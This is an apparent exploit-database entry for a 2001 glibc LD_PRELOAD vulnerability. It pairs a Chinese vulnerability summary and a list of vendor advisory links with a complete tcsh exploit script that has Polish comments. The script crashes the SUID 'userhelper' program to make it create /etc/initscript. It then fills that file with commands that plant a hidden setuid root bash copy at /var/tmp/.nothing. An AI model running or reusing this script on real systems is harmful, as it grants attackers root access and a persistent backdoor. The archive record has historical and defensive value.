https://www.exploit-db.com/exploits/290
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200103-083

Glibc在使用SUID或SGID程序的LD_PRELOAD环境变量时，不确认/etc/ld.so.cache和SUID/SGID的预装载库，本地用户可以利用该漏洞通过从/lib或/usr/lib加载库覆盖任意文件。

#!/bin/tcsh
# przyklad wykorzystania dziury w LD_PRELOAD
# shadow (tested on redhat 6.0, should work on others)

if ( -e /etc/initscript ) echo uwaga: /etc/initscript istnieje
cd /lib
umask 0
setenv LD_PRELOAD libSegFault.so
setenv SEGFAULT_OUTPUT_NAME /etc/initscript
echo czekaj... to moze chwile potrwac...
while (! -e /etc/initscript )
  ( userhelper >& /dev/null & ; killall -11 userhelper >& /dev/null ) > /dev/null
end

echo utworzylem plik initscript

cat > /etc/initscript << _init_
cp /bin/bash /var/tmp/.nothing
chmod 6755 /var/tmp/.nothing
rm /etc/initscript
_init_

echo i nawet go podmienilem

# milw0rm.com [2001-03-04]

来源:BID
名称:2223
链接:http://www.securityfocus.com/bid/2223
来源:BUGTRAQ
名称:20010121TrustixSecurityAdvisory-glibc
链接:http://www.securityfocus.com/archive/1/157650
来源:REDHAT
名称:RHSA-2001:002
链接:http://www.redhat.com/support/errata/RHSA-2001-002.html
来源:MANDRAKE
名称:MDKSA-2001:012
链接:http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-012.php3?dis=7.2
来源:XF
名称:linux-glibc-preload-overwrite
链接:http://xforce.iss.net/static/5971.php
来源:SUSE
名称:SuSE-SA:2001:01
链接:http://www.novell.com/linux/security/advisories/2001_001_glibc_txt.html
来源:DEBIAN
名称:DSA-039
链接:http://www.debian.org/security/2001/dsa-039
来源:CALDERA
名称:CSSA-2001-007
链接:http://www.calderasystems.com/support/security/advisories/CSSA-2001-007.0.txt
来源:TURBO
名称:TLSA2000021-2
链接:http://archives.neohapsis.com/archives/linux/turbolinux/2001-q1/0004.html